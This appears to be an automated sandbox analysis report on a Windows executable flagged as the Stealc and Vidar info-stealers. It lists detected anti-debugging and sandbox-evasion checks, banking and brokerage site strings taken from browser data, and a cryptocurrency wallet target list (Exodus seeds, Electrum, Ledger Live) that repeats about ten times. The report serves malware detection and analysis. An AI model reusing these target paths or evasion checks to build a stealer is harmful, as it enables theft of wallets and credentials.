Source: msedge.exe, 00000007.00000002.2458089909.000002DCA4643000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000002.2655292179.00000000236E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2655292179.00000000236E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: Web Data.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: chrome.exe, 00000003.00000003.2329237782.0000460400C40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse*
Source: Web Data.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.8.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2636219235.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.8.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2635211885.00000000009ED000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA85FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CA85FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CA23480

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CA5B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CA5B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6308, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2635211885.00000000009ED000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: !Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA5B341 cpuid

0_2_6CA5B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA235A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CA235A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2634590960.0000000000571000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2184656532.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2636219235.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6308, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6308, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
